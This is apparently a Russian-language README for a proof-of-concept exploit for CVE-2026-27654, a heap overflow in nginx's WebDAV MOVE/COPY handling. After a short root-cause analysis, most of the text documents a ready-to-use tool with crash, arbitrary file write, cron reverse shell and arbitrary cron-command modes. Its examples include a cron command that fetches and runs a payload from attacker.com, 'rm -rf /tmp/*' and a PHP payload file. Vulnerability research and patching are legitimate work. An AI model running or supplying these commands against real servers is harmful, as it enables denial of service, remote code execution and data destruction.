
Proof-of-Concept и технический анализ для CVE-2026-27654 — уязвимости переполнения буфера в куче в модуле NGINX HTTP WebDAV, включая анализ первопричины, воспроизведение и меры по смягчению последствий.
Этот репозиторий содержит концепт‑эксплойт для CVE‑2026‑27654 — уязвимости переполнения кучи в модуле ngx_http_dav_module nginx. Ошибка возникает из‑за целочисленного потери значимости (underflow) типа size_t при обработке запросов MOVE/COPY со специально сформированными заголовками Destination и location‑блоками на основе alias.
⚠️ Предупреждение: Этот инструмент предназначен только для авторизованных исследований и тестирования безопасности. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Авторы не несут ответственности за неправомерное использование.
CVE‑2026‑27654 — это удаленно активируемое переполнение буфера в куче в HTTP WebDAV‑модуле NGINX, вызванное целочисленным underflow в ngx_http_dav_copy_move_handler() (src/http/modules/ngx_http_dav_module.c). Уязвимость возникает, когда длина URI назначения вычисляется вычитанием настроенного префикса location из пути заголовка Destination. Поскольку оба операнда имеют тип size_t, более короткий путь назначения приводит к тому, что результат вычитания «заворачивается» до почти максимального беззнакового значения.
Затем «завёрнутая» длина используется в качестве аргумента размера для memcpy(), что приводит к записи за пределами кучи, повреждению памяти и немедленному падению рабочего процесса NGINX. Удаленный неаутентифицированный злоумышленник может надежно вызвать это состояние с помощью одного специально сформированного запроса MOVE или COPY, нацеленного на WebDAV‑локацию, сопоставленную с alias. Хотя главный процесс NGINX автоматически перезапускает упавшие рабочие процессы, повторные запросы могут поддерживать сервис в состоянии непрерывного цикла падения воркеров, что приводит к устойчивому отказу в обслуживании (Denial-of-Service, DoS).
AddressSanitizer (ASan) подтверждает уязвимость ошибкой negative-size-param в memcpy(), прослеживая путь выполнения от ngx_http_dav_copy_move_handler() до ngx_http_core_module.c. Уязвимость затрагивает NGINX 0.5.13–1.28.2 (stable) и 1.29.0–1.29.6 (mainline) при компиляции с --with-http_dav_module и настройке с директивой alias. Проблема была устранена в NGINX 1.28.3 и 1.29.7 (коммит ab4b5b8, PR #1210) путем надлежащей проверки вычисленной длины пути назначения перед операциями с памятью.
MOVE/COPY, который вызывает underflow типа size_t и приводит к падению уязвимого воркера.alias)./etc/cron.d/ с интерактивными запросами LHOST/LPORT и напоминанием о запуске слушателя.--cron-command.--check) – неинтерактивный режим, который запускает тест на падение и выводит четкий вердикт [VULNERABLE] / [NOT VULNERABLE], завершаясь с кодом 0 или 1.git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
python exploit.py --target 192.168.1.100:8080
Вам будет показано нумерованное меню и предложено выбрать режим.
python exploit.py --target 192.168.1.100:8080 --check
Это принудительно включает режим crash, запускает эксплойт и выводит [VULNERABLE] или [NOT VULNERABLE], после чего завершается с кодом 0 или 1.
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
Все HTTP‑запросы будут отправляться через указанный прокси (полезно для отладки с Burp).
Примечание: Большинство флагов необязательны. Если обязательные аргументы не указаны, скрипт запросит их (например,
--lhost/--lportдляcron-shell).
crashОтправляет специально сформированный запрос MOVE (или COPY), который вызывает underflow типа size_t. Сервер завершит рабочий процесс. Если главный процесс настроен правильно, он породит новый воркер.
Пример:
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
write-fileЗагружает файл в произвольное место файловой системы. Это работает только в том случае, если DAV‑локация поддерживается alias, указывающим на доступный для записи каталог, а путь Destination сформирован так, чтобы выйти за пределы корня DAV. Используйте только в авторизованных лабораторных средах.
Пример:
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
cron-shellРазмещает cron‑задание reverse shell в /etc/cron.d/.
При выборе этого режима скрипт запросит:
Затем он отобразит команду netcat‑слушателя и будет ждать нажатия Enter, когда слушатель будет запущен.
Пример (с предзаполненными параметрами):
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
cron-cmdРазмещает произвольную команду (переданную интерактивно или через --cron-command) в /etc/cron.d/. Это полезно для выполнения произвольных системных команд.
Пример (интерактивный):
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
Пример (с предзаполненными параметрами):
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
Этот пример демонстрирует использование cron-cmd для выполнения команды на целевой системе без необходимости в слушателе.
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
Скрипт автоматически использует переданный --cron-command и пропускает интерактивный запрос, что делает его пригодным для автоматизации.
Чтобы протестировать этот PoC в контролируемой среде, можно собрать nginx из исходников с --with-http_dav_module и настроить location с alias и dav_methods. Образец Docker‑конфигурации включен (скоро появится).
Этот проект лицензирован в соответствии с GNU v3.0 License – подробности см. в файле LICENSE.
Приветствуются вопросы (issues) и pull request'ы. Пожалуйста, убедитесь, что ваш вклад соответствует тем же этическим принципам использования.
Помните: Всегда получайте надлежащее разрешение перед тестированием любого инструмента безопасности. Оставайтесь этичными!
--proxy) – маршрутизация всех запросов через HTTP/HTTPS‑прокси (например, Burp Suite, mitmproxy) для отладки или проверки трафика.--payload-file (бинарный), --payload-text (буквальный текст) или использование тестового содержимого по умолчанию.--destination-path, --alias-len, --escape-depth, --method, --location-prefix и другие.requests не установлена, скрипт переключается на стандартный модуль Python http.client (в этом режиме поддержка прокси отключена).| Flag | Description | Example |
|---|
--target HOST:PORT | Целевой экземпляр nginx (по умолчанию: 127.0.0.1:8080). | --target 10.0.0.5:80 |
--verbose, -v | Показывать полные HTTP‑ответы (заголовки и тело). | -v |
--no-put | Пропустить начальный PUT (предполагается, что триггерный файл уже существует). Полезно для повторного тестирования. | --no-put |
--location-prefix | Префикс DAV‑локации (по умолчанию: /uploads/). Должен совпадать с location alias в конфигурации nginx. | --location-prefix /dav/ |
--remote-name | Удаленное имя исходного файла, размещаемого внутри DAV‑локации (по умолчанию: triggerfile.txt). | --remote-name test.txt |
--method {MOVE,COPY} | DAV‑метод для запроса назначения (по умолчанию: MOVE). | --method COPY |
--destination-path | Путь URI назначения — используется для арифметики при падении или как конечный путь файла для режимов доставки. | --destination-path /etc/cron.d/backdoor |
--alias-len | Длина строки настроенного alias (используется для отображения арифметики падения, по умолчанию 13). | --alias-len 20 |
--escape-depth | Количество компонентов пути ../ для выхода за пределы корня DAV (по умолчанию 1). | --escape-depth 3 |
--payload-file | Локальный файл для загрузки в качестве пейлоада. Заменяет тестовое содержимое по умолчанию. | --payload-file ./shell.php |
--payload-text | Текстовый пейлоад для режима write-file. | --payload-text "<?php phpinfo(); ?>" |
--lhost | Хост для обратного вызова reverse shell (для cron-shell). Если не указан, скрипт запросит его интерактивно. | --lhost 192.168.1.50 |
--lport | Порт для обратного вызова reverse shell (для cron-shell). | --lport 4444 |
--cron-command | Команда для выполнения через cron (для cron-cmd). Если не указана, скрипт запросит её интерактивно. | --cron-command "rm -rf /tmp/*" |
--wait | Секунды ожидания после доставки cron‑задания до его выполнения (по умолчанию 65). | --wait 120 |
--check | Запуск проверки уязвимости (тест на падение, неинтерактивно). Выводит VULNERABLE/NOT VULNERABLE и завершается с кодом 0/1. | --check |
--proxy PROXY_URL | URL HTTP/HTTPS‑прокси (например, http://127.0.0.1:8080). Требует библиотеку requests. | --proxy http://127.0.0.1:8080 |